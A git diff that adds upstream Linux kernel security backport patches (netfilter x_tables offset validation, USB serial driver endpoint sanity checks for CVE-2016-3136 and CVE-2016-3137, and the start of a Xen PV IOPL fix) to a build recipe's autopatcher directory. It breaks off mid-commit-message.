b/recipes-kernel/linux/linux-bass/autopatcher/0222-0608074c2c1f-netfilter xtables validate etargetoffset early.patch new file mode 100644 index 0000000..a745889 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0222-0608074c2c1f-netfilter xtables validate etargetoffset early.patch @@ -0,0 +1,203 @@ +From 0608074c2c1fd874b10117c07b2751d2477bec14 Mon Sep 17 00:00:00 2001 +From: Florian Westphal +Date: Tue, 22 Mar 2016 18:02:49 +0100 +Subject: netfilter: x_tables: validate e->target_offset early + +commit bdf533de6968e9686df777dc178486f600c6e617 upstream. + +We should check that e->target_offset is sane before +mark_source_chains gets called since it will fetch the target entry +for loop detection. + +Signed-off-by: Florian Westphal +Signed-off-by: Pablo Neira Ayuso +Signed-off-by: Willy Tarreau +--- + net/ipv4/netfilter/arp_tables.c | 17 ++++++++--------- + net/ipv4/netfilter/ip_tables.c | 17 ++++++++--------- + net/ipv6/netfilter/ip6_tables.c | 17 ++++++++--------- + 3 files changed, 24 insertions(+), 27 deletions(-) + +diff --git a/net/ipv4/netfilter/arp_tables.c b/net/ipv4/netfilter/arp_tables.c +index c8abe31961ed..269759dd96f4 100644 +--- a/net/ipv4/netfilter/arp_tables.c ++++ b/net/ipv4/netfilter/arp_tables.c +@@ -465,14 +465,12 @@ static int mark_source_chains(const struct xt_table_info *newinfo, + return 1; + } + +-static inline int check_entry(const struct arpt_entry *e, const char *name) ++static inline int check_entry(const struct arpt_entry *e) + { + const struct xt_entry_target *t; + +- if (!arp_checkentry(&e->arp)) { +- duprintf("arp_tables: arp check failed %p %s.\n", e, name); ++ if (!arp_checkentry(&e->arp)) + return -EINVAL; +- } + + if (e->target_offset + sizeof(struct xt_entry_target) > e->next_offset) + return -EINVAL; +@@ -513,10 +511,6 @@ find_check_entry(struct arpt_entry *e, const char *name, unsigned int size) + struct xt_target *target; + int ret; + +- ret = check_entry(e, name); +- if (ret) +- return ret; +- + t = arpt_get_target(e); + target = xt_request_find_target(NFPROTO_ARP, t->u.user.name, + t->u.user.revision); +@@ -561,6 +555,7 @@ static inline int check_entry_size_and_hooks(struct arpt_entry *e, + unsigned int valid_hooks) + { + unsigned int h; ++ int err; + + if ((unsigned long)e % __alignof__(struct arpt_entry) != 0 || + (unsigned char *)e + sizeof(struct arpt_entry) >= limit) { +@@ -575,6 +570,10 @@ static inline int check_entry_size_and_hooks(struct arpt_entry *e, + return -EINVAL; + } + ++ err = check_entry(e); ++ if (err) ++ return err; ++ + /* Check hooks & underflows */ + for (h = 0; h < NF_ARP_NUMHOOKS; h++) { + if (!(valid_hooks & (1 << h))) +@@ -1232,7 +1231,7 @@ check_compat_entry_size_and_hooks(struct compat_arpt_entry *e, + } + + /* For purposes of check_entry casting the compat entry is fine */ +- ret = check_entry((struct arpt_entry *)e, name); ++ ret = check_entry((struct arpt_entry *)e); + if (ret) + return ret; + +diff --git a/net/ipv4/netfilter/ip_tables.c b/net/ipv4/netfilter/ip_tables.c +index 651c10774d58..5ca478f13080 100644 +--- a/net/ipv4/netfilter/ip_tables.c ++++ b/net/ipv4/netfilter/ip_tables.c +@@ -560,14 +560,12 @@ static void cleanup_match(struct xt_entry_match *m, struct net *net) + } + + static int +-check_entry(const struct ipt_entry *e, const char *name) ++check_entry(const struct ipt_entry *e) + { + const struct xt_entry_target *t; + +- if (!ip_checkentry(&e->ip)) { +- duprintf("ip check failed %p %s.\n", e, name); ++ if (!ip_checkentry(&e->ip)) + return -EINVAL; +- } + + if (e->target_offset + sizeof(struct xt_entry_target) > + e->next_offset) +@@ -657,10 +655,6 @@ find_check_entry(struct ipt_entry *e, struct net *net, const char *name, + struct xt_mtchk_param mtpar; + struct xt_entry_match *ematch; + +- ret = check_entry(e, name); +- if (ret) +- return ret; +- + j = 0; + mtpar.net = net; + mtpar.table = name; +@@ -724,6 +718,7 @@ check_entry_size_and_hooks(struct ipt_entry *e, + unsigned int valid_hooks) + { + unsigned int h; ++ int err; + + if ((unsigned long)e % __alignof__(struct ipt_entry) != 0 || + (unsigned char *)e + sizeof(struct ipt_entry) >= limit) { +@@ -738,6 +733,10 @@ check_entry_size_and_hooks(struct ipt_entry *e, + return -EINVAL; + } + ++ err = check_entry(e); ++ if (err) ++ return err; ++ + /* Check hooks & underflows */ + for (h = 0; h < NF_INET_NUMHOOKS; h++) { + if (!(valid_hooks & (1 << h))) +@@ -1498,7 +1497,7 @@ check_compat_entry_size_and_hooks(struct compat_ipt_entry *e, + } + + /* For purposes of check_entry casting the compat entry is fine */ +- ret = check_entry((struct ipt_entry *)e, name); ++ ret = check_entry((struct ipt_entry *)e); + if (ret) + return ret; + +diff --git a/net/ipv6/netfilter/ip6_tables.c b/net/ipv6/netfilter/ip6_tables.c +index 89a4e4ddd8bb..597f539f3d33 100644 +--- a/net/ipv6/netfilter/ip6_tables.c ++++ b/net/ipv6/netfilter/ip6_tables.c +@@ -570,14 +570,12 @@ static void cleanup_match(struct xt_entry_match *m, struct net *net) + } + + static int +-check_entry(const struct ip6t_entry *e, const char *name) ++check_entry(const struct ip6t_entry *e) + { + const struct xt_entry_target *t; + +- if (!ip6_checkentry(&e->ipv6)) { +- duprintf("ip_tables: ip check failed %p %s.\n", e, name); ++ if (!ip6_checkentry(&e->ipv6)) + return -EINVAL; +- } + + if (e->target_offset + sizeof(struct xt_entry_target) > + e->next_offset) +@@ -668,10 +666,6 @@ find_check_entry(struct ip6t_entry *e, struct net *net, const char *name, + struct xt_mtchk_param mtpar; + struct xt_entry_match *ematch; + +- ret = check_entry(e, name); +- if (ret) +- return ret; +- + j = 0; + mtpar.net = net; + mtpar.table = name; +@@ -735,6 +729,7 @@ check_entry_size_and_hooks(struct ip6t_entry *e, + unsigned int valid_hooks) + { + unsigned int h; ++ int err; + + if ((unsigned long)e % __alignof__(struct ip6t_entry) != 0 || + (unsigned char *)e + sizeof(struct ip6t_entry) >= limit) { +@@ -749,6 +744,10 @@ check_entry_size_and_hooks(struct ip6t_entry *e, + return -EINVAL; + } + ++ err = check_entry(e); ++ if (err) ++ return err; ++ + /* Check hooks & underflows */ + for (h = 0; h < NF_INET_NUMHOOKS; h++) { + if (!(valid_hooks & (1 << h))) +@@ -1510,7 +1509,7 @@ check_compat_entry_size_and_hooks(struct compat_ip6t_entry *e, + } + + /* For purposes of check_entry casting the compat entry is fine */ +- ret = check_entry((struct ip6t_entry *)e, name); ++ ret = check_entry((struct ip6t_entry *)e); + if (ret) + return ret; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0223-74afad874aae-netfilter xtables make sure enextoffset covers remaining blob.patch b/recipes-kernel/linux/linux-bass/autopatcher/0223-74afad874aae-netfilter xtables make sure enextoffset covers remaining blob.patch new file mode 100644 index 0000000..d348272 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0223-74afad874aae-netfilter xtables make sure enextoffset covers remaining blob.patch @@ -0,0 +1,94 @@ +From 74afad874aaeef7ef5b500366a0e271fb5b265c3 Mon Sep 17 00:00:00 2001 +From: Florian Westphal +Date: Tue, 22 Mar 2016 18:02:50 +0100 +Subject: netfilter: x_tables: make sure e->next_offset covers remaining blob + size + +commit 6e94e0cfb0887e4013b3b930fa6ab1fe6bb6ba91 upstream. + +Otherwise this function may read data beyond the ruleset blob. + +Signed-off-by: Florian Westphal +Signed-off-by: Pablo Neira Ayuso +Signed-off-by: Willy Tarreau +--- + net/ipv4/netfilter/arp_tables.c | 6 ++++-- + net/ipv4/netfilter/ip_tables.c | 6 ++++-- + net/ipv6/netfilter/ip6_tables.c | 6 ++++-- + 3 files changed, 12 insertions(+), 6 deletions(-) + +diff --git a/net/ipv4/netfilter/arp_tables.c b/net/ipv4/netfilter/arp_tables.c +index 269759dd96f4..ee40bd4e766e 100644 +--- a/net/ipv4/netfilter/arp_tables.c ++++ b/net/ipv4/netfilter/arp_tables.c +@@ -558,7 +558,8 @@ static inline int check_entry_size_and_hooks(struct arpt_entry *e, + int err; + + if ((unsigned long)e % __alignof__(struct arpt_entry) != 0 || +- (unsigned char *)e + sizeof(struct arpt_entry) >= limit) { ++ (unsigned char *)e + sizeof(struct arpt_entry) >= limit || ++ (unsigned char *)e + e->next_offset > limit) { + duprintf("Bad offset %p\n", e); + return -EINVAL; + } +@@ -1218,7 +1219,8 @@ check_compat_entry_size_and_hooks(struct compat_arpt_entry *e, + + duprintf("check_compat_entry_size_and_hooks %p\n", e); + if ((unsigned long)e % __alignof__(struct compat_arpt_entry) != 0 || +- (unsigned char *)e + sizeof(struct compat_arpt_entry) >= limit) { ++ (unsigned char *)e + sizeof(struct compat_arpt_entry) >= limit || ++ (unsigned char *)e + e->next_offset > limit) { + duprintf("Bad offset %p, limit = %p\n", e, limit); + return -EINVAL; + } +diff --git a/net/ipv4/netfilter/ip_tables.c b/net/ipv4/netfilter/ip_tables.c +index 5ca478f13080..7cfd5663fe24 100644 +--- a/net/ipv4/netfilter/ip_tables.c ++++ b/net/ipv4/netfilter/ip_tables.c +@@ -721,7 +721,8 @@ check_entry_size_and_hooks(struct ipt_entry *e, + int err; + + if ((unsigned long)e % __alignof__(struct ipt_entry) != 0 || +- (unsigned char *)e + sizeof(struct ipt_entry) >= limit) { ++ (unsigned char *)e + sizeof(struct ipt_entry) >= limit || ++ (unsigned char *)e + e->next_offset > limit) { + duprintf("Bad offset %p\n", e); + return -EINVAL; + } +@@ -1484,7 +1485,8 @@ check_compat_entry_size_and_hooks(struct compat_ipt_entry *e, + + duprintf("check_compat_entry_size_and_hooks %p\n", e); + if ((unsigned long)e % __alignof__(struct compat_ipt_entry) != 0 || +- (unsigned char *)e + sizeof(struct compat_ipt_entry) >= limit) { ++ (unsigned char *)e + sizeof(struct compat_ipt_entry) >= limit || ++ (unsigned char *)e + e->next_offset > limit) { + duprintf("Bad offset %p, limit = %p\n", e, limit); + return -EINVAL; + } +diff --git a/net/ipv6/netfilter/ip6_tables.c b/net/ipv6/netfilter/ip6_tables.c +index 597f539f3d33..9c6b543472ef 100644 +--- a/net/ipv6/netfilter/ip6_tables.c ++++ b/net/ipv6/netfilter/ip6_tables.c +@@ -732,7 +732,8 @@ check_entry_size_and_hooks(struct ip6t_entry *e, + int err; + + if ((unsigned long)e % __alignof__(struct ip6t_entry) != 0 || +- (unsigned char *)e + sizeof(struct ip6t_entry) >= limit) { ++ (unsigned char *)e + sizeof(struct ip6t_entry) >= limit || ++ (unsigned char *)e + e->next_offset > limit) { + duprintf("Bad offset %p\n", e); + return -EINVAL; + } +@@ -1496,7 +1497,8 @@ check_compat_entry_size_and_hooks(struct compat_ip6t_entry *e, + + duprintf("check_compat_entry_size_and_hooks %p\n", e); + if ((unsigned long)e % __alignof__(struct compat_ip6t_entry) != 0 || +- (unsigned char *)e + sizeof(struct compat_ip6t_entry) >= limit) { ++ (unsigned char *)e + sizeof(struct compat_ip6t_entry) >= limit || ++ (unsigned char *)e + e->next_offset > limit) { + duprintf("Bad offset %p, limit = %p\n", e, limit); + return -EINVAL; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0224-54d83fc74aa9-netfilter xtables fix unconditional helper.patch b/recipes-kernel/linux/linux-bass/autopatcher/0224-54d83fc74aa9-netfilter xtables fix unconditional helper.patch new file mode 100644 index 0000000..0ada516 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0224-54d83fc74aa9-netfilter xtables fix unconditional helper.patch @@ -0,0 +1,234 @@ +From 54d83fc74aa9ec72794373cb47432c5f7fb1a309 Mon Sep 17 00:00:00 2001 +From: Florian Westphal +Date: Tue, 22 Mar 2016 18:02:52 +0100 +Subject: netfilter: x_tables: fix unconditional helper + +Ben Hawkes says: + + In the mark_source_chains function (net/ipv4/netfilter/ip_tables.c) it + is possible for a user-supplied ipt_entry structure to have a large + next_offset field. This field is not bounds checked prior to writing a + counter value at the supplied offset. + +Problem is that mark_source_chains should not have been called -- +the rule doesn't have a next entry, so its supposed to return +an absolute verdict of either ACCEPT or DROP. + +However, the function conditional() doesn't work as the name implies. +It only checks that the rule is using wildcard address matching. + +However, an unconditional rule must also not be using any matches +(no -m args). + +The underflow validator only checked the addresses, therefore +passing the 'unconditional absolute verdict' test, while +mark_source_chains also tested for presence of matches, and thus +proceeeded to the next (not-existent) rule. + +Unify this so that all the callers have same idea of 'unconditional rule'. + +Reported-by: Ben Hawkes +Signed-off-by: Florian Westphal +Signed-off-by: Pablo Neira Ayuso +--- + net/ipv4/netfilter/arp_tables.c | 18 +++++++++--------- + net/ipv4/netfilter/ip_tables.c | 23 +++++++++++------------ + net/ipv6/netfilter/ip6_tables.c | 23 +++++++++++------------ + 3 files changed, 31 insertions(+), 33 deletions(-) + +diff --git a/net/ipv4/netfilter/arp_tables.c b/net/ipv4/netfilter/arp_tables.c +index 51d4fe56b807..a1bb5e7129a2 100644 +--- a/net/ipv4/netfilter/arp_tables.c ++++ b/net/ipv4/netfilter/arp_tables.c +@@ -359,11 +359,12 @@ unsigned int arpt_do_table(struct sk_buff *skb, + } + + /* All zeroes == unconditional rule. */ +-static inline bool unconditional(const struct arpt_arp *arp) ++static inline bool unconditional(const struct arpt_entry *e) + { + static const struct arpt_arp uncond; + +- return memcmp(arp, &uncond, sizeof(uncond)) == 0; ++ return e->target_offset == sizeof(struct arpt_entry) && ++ memcmp(&e->arp, &uncond, sizeof(uncond)) == 0; + } + + /* Figures out from what hook each rule can be called: returns 0 if +@@ -402,11 +403,10 @@ static int mark_source_chains(const struct xt_table_info *newinfo, + |= ((1 << hook) | (1 << NF_ARP_NUMHOOKS)); + + /* Unconditional return/END. */ +- if ((e->target_offset == sizeof(struct arpt_entry) && ++ if ((unconditional(e) && + (strcmp(t->target.u.user.name, + XT_STANDARD_TARGET) == 0) && +- t->verdict < 0 && unconditional(&e->arp)) || +- visited) { ++ t->verdict < 0) || visited) { + unsigned int oldpos, size; + + if ((strcmp(t->target.u.user.name, +@@ -551,7 +551,7 @@ static bool check_underflow(const struct arpt_entry *e) + const struct xt_entry_target *t; + unsigned int verdict; + +- if (!unconditional(&e->arp)) ++ if (!unconditional(e)) + return false; + t = arpt_get_target_c(e); + if (strcmp(t->u.user.name, XT_STANDARD_TARGET) != 0) +@@ -598,9 +598,9 @@ static inline int check_entry_size_and_hooks(struct arpt_entry *e, + newinfo->hook_entry[h] = hook_entries[h]; + if ((unsigned char *)e - base == underflows[h]) { + if (!check_underflow(e)) { +- pr_err("Underflows must be unconditional and " +- "use the STANDARD target with " +- "ACCEPT/DROP\n"); ++ pr_debug("Underflows must be unconditional and " ++ "use the STANDARD target with " ++ "ACCEPT/DROP\n"); + return -EINVAL; + } + newinfo->underflow[h] = underflows[h]; +diff --git a/net/ipv4/netfilter/ip_tables.c b/net/ipv4/netfilter/ip_tables.c +index fb7694e6663e..89b5d959eda3 100644 +--- a/net/ipv4/netfilter/ip_tables.c ++++ b/net/ipv4/netfilter/ip_tables.c +@@ -168,11 +168,12 @@ get_entry(const void *base, unsigned int offset) + + /* All zeroes == unconditional rule. */ + /* Mildly perf critical (only if packet tracing is on) */ +-static inline bool unconditional(const struct ipt_ip *ip) ++static inline bool unconditional(const struct ipt_entry *e) + { + static const struct ipt_ip uncond; + +- return memcmp(ip, &uncond, sizeof(uncond)) == 0; ++ return e->target_offset == sizeof(struct ipt_entry) && ++ memcmp(&e->ip, &uncond, sizeof(uncond)) == 0; + #undef FWINV + } + +@@ -229,11 +230,10 @@ get_chainname_rulenum(const struct ipt_entry *s, const struct ipt_entry *e, + } else if (s == e) { + (*rulenum)++; + +- if (s->target_offset == sizeof(struct ipt_entry) && ++ if (unconditional(s) && + strcmp(t->target.u.kernel.target->name, + XT_STANDARD_TARGET) == 0 && +- t->verdict < 0 && +- unconditional(&s->ip)) { ++ t->verdict < 0) { + /* Tail of chains: STANDARD target (return/policy) */ + *comment = *chainname == hookname + ? comments[NF_IP_TRACE_COMMENT_POLICY] +@@ -476,11 +476,10 @@ mark_source_chains(const struct xt_table_info *newinfo, + e->comefrom |= ((1 << hook) | (1 << NF_INET_NUMHOOKS)); + + /* Unconditional return/END. */ +- if ((e->target_offset == sizeof(struct ipt_entry) && ++ if ((unconditional(e) && + (strcmp(t->target.u.user.name, + XT_STANDARD_TARGET) == 0) && +- t->verdict < 0 && unconditional(&e->ip)) || +- visited) { ++ t->verdict < 0) || visited) { + unsigned int oldpos, size; + + if ((strcmp(t->target.u.user.name, +@@ -715,7 +714,7 @@ static bool check_underflow(const struct ipt_entry *e) + const struct xt_entry_target *t; + unsigned int verdict; + +- if (!unconditional(&e->ip)) ++ if (!unconditional(e)) + return false; + t = ipt_get_target_c(e); + if (strcmp(t->u.user.name, XT_STANDARD_TARGET) != 0) +@@ -763,9 +762,9 @@ check_entry_size_and_hooks(struct ipt_entry *e, + newinfo->hook_entry[h] = hook_entries[h]; + if ((unsigned char *)e - base == underflows[h]) { + if (!check_underflow(e)) { +- pr_err("Underflows must be unconditional and " +- "use the STANDARD target with " +- "ACCEPT/DROP\n"); ++ pr_debug("Underflows must be unconditional and " ++ "use the STANDARD target with " ++ "ACCEPT/DROP\n"); + return -EINVAL; + } + newinfo->underflow[h] = underflows[h]; +diff --git a/net/ipv6/netfilter/ip6_tables.c b/net/ipv6/netfilter/ip6_tables.c +index b248528f2a17..541b59f83595 100644 +--- a/net/ipv6/netfilter/ip6_tables.c ++++ b/net/ipv6/netfilter/ip6_tables.c +@@ -198,11 +198,12 @@ get_entry(const void *base, unsigned int offset) + + /* All zeroes == unconditional rule. */ + /* Mildly perf critical (only if packet tracing is on) */ +-static inline bool unconditional(const struct ip6t_ip6 *ipv6) ++static inline bool unconditional(const struct ip6t_entry *e) + { + static const struct ip6t_ip6 uncond; + +- return memcmp(ipv6, &uncond, sizeof(uncond)) == 0; ++ return e->target_offset == sizeof(struct ip6t_entry) && ++ memcmp(&e->ipv6, &uncond, sizeof(uncond)) == 0; + } + + static inline const struct xt_entry_target * +@@ -258,11 +259,10 @@ get_chainname_rulenum(const struct ip6t_entry *s, const struct ip6t_entry *e, + } else if (s == e) { + (*rulenum)++; + +- if (s->target_offset == sizeof(struct ip6t_entry) && ++ if (unconditional(s) && + strcmp(t->target.u.kernel.target->name, + XT_STANDARD_TARGET) == 0 && +- t->verdict < 0 && +- unconditional(&s->ipv6)) { ++ t->verdict < 0) { + /* Tail of chains: STANDARD target (return/policy) */ + *comment = *chainname == hookname + ? comments[NF_IP6_TRACE_COMMENT_POLICY] +@@ -488,11 +488,10 @@ mark_source_chains(const struct xt_table_info *newinfo, + e->comefrom |= ((1 << hook) | (1 << NF_INET_NUMHOOKS)); + + /* Unconditional return/END. */ +- if ((e->target_offset == sizeof(struct ip6t_entry) && ++ if ((unconditional(e) && + (strcmp(t->target.u.user.name, + XT_STANDARD_TARGET) == 0) && +- t->verdict < 0 && +- unconditional(&e->ipv6)) || visited) { ++ t->verdict < 0) || visited) { + unsigned int oldpos, size; + + if ((strcmp(t->target.u.user.name, +@@ -727,7 +726,7 @@ static bool check_underflow(const struct ip6t_entry *e) + const struct xt_entry_target *t; + unsigned int verdict; + +- if (!unconditional(&e->ipv6)) ++ if (!unconditional(e)) + return false; + t = ip6t_get_target_c(e); + if (strcmp(t->u.user.name, XT_STANDARD_TARGET) != 0) +@@ -775,9 +774,9 @@ check_entry_size_and_hooks(struct ip6t_entry *e, + newinfo->hook_entry[h] = hook_entries[h]; + if ((unsigned char *)e - base == underflows[h]) { + if (!check_underflow(e)) { +- pr_err("Underflows must be unconditional and " +- "use the STANDARD target with " +- "ACCEPT/DROP\n"); ++ pr_debug("Underflows must be unconditional and " ++ "use the STANDARD target with " ++ "ACCEPT/DROP\n"); + return -EINVAL; + } + newinfo->underflow[h] = underflows[h]; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0225-ffb372d83811-USB mctu232 add sanity checking in probe.patch b/recipes-kernel/linux/linux-bass/autopatcher/0225-ffb372d83811-USB mctu232 add sanity checking in probe.patch new file mode 100644 index 0000000..5221d1a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0225-ffb372d83811-USB mctu232 add sanity checking in probe.patch @@ -0,0 +1,52 @@ +From ffb372d838110dfa0efe00ce046ff282eeba1248 Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Thu, 31 Mar 2016 12:04:24 -0400 +Subject: USB: mct_u232: add sanity checking in probe + +commit 4e9a0b05257f29cf4b75f3209243ed71614d062e upstream. + +An attack using the lack of sanity checking in probe is known. This +patch checks for the existence of a second port. + +CVE-2016-3136 + +Signed-off-by: Oliver Neukum +CC: stable@vger.kernel.org +[johan: add error message ] +Signed-off-by: Johan Hovold +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Willy Tarreau +--- + drivers/usb/serial/mct_u232.c | 9 ++++++++- + 1 file changed, 8 insertions(+), 1 deletion(-) + +diff --git a/drivers/usb/serial/mct_u232.c b/drivers/usb/serial/mct_u232.c +index 6a15adf53360f..c14c29ff11510 100644 +--- a/drivers/usb/serial/mct_u232.c ++++ b/drivers/usb/serial/mct_u232.c +@@ -377,14 +377,21 @@ static void mct_u232_msr_to_state(struct usb_serial_port *port, + + static int mct_u232_port_probe(struct usb_serial_port *port) + { ++ struct usb_serial *serial = port->serial; + struct mct_u232_private *priv; + ++ /* check first to simplify error handling */ ++ if (!serial->port[1] || !serial->port[1]->interrupt_in_urb) { ++ dev_err(&port->dev, "expected endpoint missing\n"); ++ return -ENODEV; ++ } ++ + priv = kzalloc(sizeof(*priv), GFP_KERNEL); + if (!priv) + return -ENOMEM; + + /* Use second interrupt-in endpoint for reading. */ +- priv->read_urb = port->serial->port[1]->interrupt_in_urb; ++ priv->read_urb = serial->port[1]->interrupt_in_urb; + priv->read_urb->context = port; + + spin_lock_init(&priv->lock); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0226-e5ffd637a997-USB cypressm8 add endpoint sanity check.patch b/recipes-kernel/linux/linux-bass/autopatcher/0226-e5ffd637a997-USB cypressm8 add endpoint sanity check.patch new file mode 100644 index 0000000..8bb5fee --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0226-e5ffd637a997-USB cypressm8 add endpoint sanity check.patch @@ -0,0 +1,52 @@ +From e5ffd637a997e910f05b520ec1022e26ea7e2e73 Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Thu, 31 Mar 2016 12:04:25 -0400 +Subject: USB: cypress_m8: add endpoint sanity check + +commit c55aee1bf0e6b6feec8b2927b43f7a09a6d5f754 upstream. + +An attack using missing endpoints exists. + +CVE-2016-3137 + +Signed-off-by: Oliver Neukum +CC: stable@vger.kernel.org +Signed-off-by: Johan Hovold +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Willy Tarreau +--- + drivers/usb/serial/cypress_m8.c | 11 +++++------ + 1 file changed, 5 insertions(+), 6 deletions(-) + +diff --git a/drivers/usb/serial/cypress_m8.c b/drivers/usb/serial/cypress_m8.c +index 082120198f870..09f0f631389e3 100644 +--- a/drivers/usb/serial/cypress_m8.c ++++ b/drivers/usb/serial/cypress_m8.c +@@ -449,6 +449,11 @@ static int cypress_generic_port_probe(struct usb_serial_port *port) + struct usb_serial *serial = port->serial; + struct cypress_private *priv; + ++ if (!port->interrupt_out_urb || !port->interrupt_in_urb) { ++ dev_err(&port->dev, "required endpoint is missing\n"); ++ return -ENODEV; ++ } ++ + priv = kzalloc(sizeof(struct cypress_private), GFP_KERNEL); + if (!priv) + return -ENOMEM; +@@ -606,12 +611,6 @@ static int cypress_open(struct tty_struct *tty, struct usb_serial_port *port) + cypress_set_termios(tty, port, &priv->tmp_termios); + + /* setup the port and start reading from the device */ +- if (!port->interrupt_in_urb) { +- dev_err(&port->dev, "%s - interrupt_in_urb is empty!\n", +- __func__); +- return -1; +- } +- + usb_fill_int_urb(port->interrupt_in_urb, serial->dev, + usb_rcvintpipe(serial->dev, port->interrupt_in_endpointAddress), + port->interrupt_in_urb->transfer_buffer, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0227-d5f0867608e0-USB cdcacm more sanity checking.patch b/recipes-kernel/linux/linux-bass/autopatcher/0227-d5f0867608e0-USB cdcacm more sanity checking.patch new file mode 100644 index 0000000..7fb19d5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0227-d5f0867608e0-USB cdcacm more sanity checking.patch @@ -0,0 +1,37 @@ +From d5f0867608e0fd8369de929d272ecb3ad7e5e654 Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Tue, 15 Mar 2016 10:14:04 +0100 +Subject: USB: cdc-acm: more sanity checking + +commit 8835ba4a39cf53f705417b3b3a94eb067673f2c9 upstream. + +An attack has become available which pretends to be a quirky +device circumventing normal sanity checks and crashes the kernel +by an insufficient number of interfaces. This patch adds a check +to the code path for quirky devices. + +Signed-off-by: Oliver Neukum +CC: stable@vger.kernel.org +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Willy Tarreau +--- + drivers/usb/class/cdc-acm.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/usb/class/cdc-acm.c b/drivers/usb/class/cdc-acm.c +index d6dab8adf60e..e7436ebbf04c 100644 +--- a/drivers/usb/class/cdc-acm.c ++++ b/drivers/usb/class/cdc-acm.c +@@ -997,6 +997,9 @@ static int acm_probe(struct usb_interface *intf, + if (quirks == NO_UNION_NORMAL) { + data_interface = usb_ifnum_to_if(usb_dev, 1); + control_interface = usb_ifnum_to_if(usb_dev, 0); ++ /* we would crash */ ++ if (!data_interface || !control_interface) ++ return -ENODEV; + goto skip_normal_probe; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0228-129e6372f40a-USB digiacceleport do sanity checking for the number of ports.patch b/recipes-kernel/linux/linux-bass/autopatcher/0228-129e6372f40a-USB digiacceleport do sanity checking for the number of ports.patch new file mode 100644 index 0000000..bedd921 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0228-129e6372f40a-USB digiacceleport do sanity checking for the number of ports.patch @@ -0,0 +1,57 @@ +From 129e6372f40a423bcded0a6dae547205edf652fb Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Thu, 31 Mar 2016 12:04:26 -0400 +Subject: USB: digi_acceleport: do sanity checking for the number of ports + +commit 5a07975ad0a36708c6b0a5b9fea1ff811d0b0c1f upstream. + +The driver can be crashed with devices that expose crafted descriptors +with too few endpoints. + +See: http://seclists.org/bugtraq/2016/Mar/61 + +Signed-off-by: Oliver Neukum +[johan: fix OOB endpoint check and add error messages ] +Cc: stable +Signed-off-by: Johan Hovold +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Willy Tarreau +--- + drivers/usb/serial/digi_acceleport.c | 19 +++++++++++++++++++ + 1 file changed, 19 insertions(+) + +diff --git a/drivers/usb/serial/digi_acceleport.c b/drivers/usb/serial/digi_acceleport.c +index 7b807d389527..8c34d9cfb226 100644 +--- a/drivers/usb/serial/digi_acceleport.c ++++ b/drivers/usb/serial/digi_acceleport.c +@@ -1253,8 +1253,27 @@ static int digi_port_init(struct usb_serial_port *port, unsigned port_num) + + static int digi_startup(struct usb_serial *serial) + { ++ struct device *dev = &serial->interface->dev; + struct digi_serial *serial_priv; + int ret; ++ int i; ++ ++ /* check whether the device has the expected number of endpoints */ ++ if (serial->num_port_pointers < serial->type->num_ports + 1) { ++ dev_err(dev, "OOB endpoints missing\n"); ++ return -ENODEV; ++ } ++ ++ for (i = 0; i < serial->type->num_ports + 1 ; i++) { ++ if (!serial->port[i]->read_urb) { ++ dev_err(dev, "bulk-in endpoint missing\n"); ++ return -ENODEV; ++ } ++ if (!serial->port[i]->write_urb) { ++ dev_err(dev, "bulk-out endpoint missing\n"); ++ return -ENODEV; ++ } ++ } + + serial_priv = kzalloc(sizeof(*serial_priv), GFP_KERNEL); + if (!serial_priv) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0229-c9950bcb9176-x86iopl64 Properly contextswitch IOPL on Xen PV.patch b/recipes-kernel/linux/linux-bass/autopatcher/0229-c9950bcb9176-x86iopl64 Properly contextswitch IOPL on Xen PV.patch new file mode 100644 index 0000000..5b62be6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0229-c9950bcb9176-x86iopl64 Properly contextswitch IOPL on Xen PV.patch @@ -0,0 +1,104 @@ +From c9950bcb9176a740bc82df4174022c974cb601db Mon Sep 17 00:00:00 2001 +From: Kamal Mostafa +Date: Tue, 5 Apr 2016 12:24:23 -0700 +Subject: x86/iopl/64: Properly context-switch IOPL on Xen PV + +commit b7a584598aea7ca73140cb87b40319944dd3393f upstream. + +From: Andy Lutomirski + +On Xen PV, regs->flags doesn't reliably reflect IOPL and the +exit-to-userspace code doesn't change IOPL. We need to context +switch it manually. + +I'm doing this without going through paravirt because this is +specific to Xen PV. After the dust settles, we can merge this with +the 32-bit code, tidy up the iopl syscall implementation, and remove +the set_iopl pvop entirely. + +Fixes XSA-171. + +Reviewewd-by: Jan Beulich +Signed-off-by: Andy Lutomirski +Cc: Andrew Cooper +Cc: Andy Lutomirski +Cc: Boris Ostrovsky +Cc: Borislav Petkov +Cc: Brian Gerst +Cc: David Vrabel +Cc: Denys Vlasenko +Cc: H. Peter Anvin +Cc: Jan Beulich +Cc: Linus Torvalds +Cc: Peter Zijlstra +Cc: Thomas Gleixner +Link: http://lkml.kernel.org/r/693c3bd7aeb4d3c27c92c622b7d0f554a458173c.1458162709.git.luto@kernel.org +Signed-off-by: Ingo Molnar +[ kamal: backport to 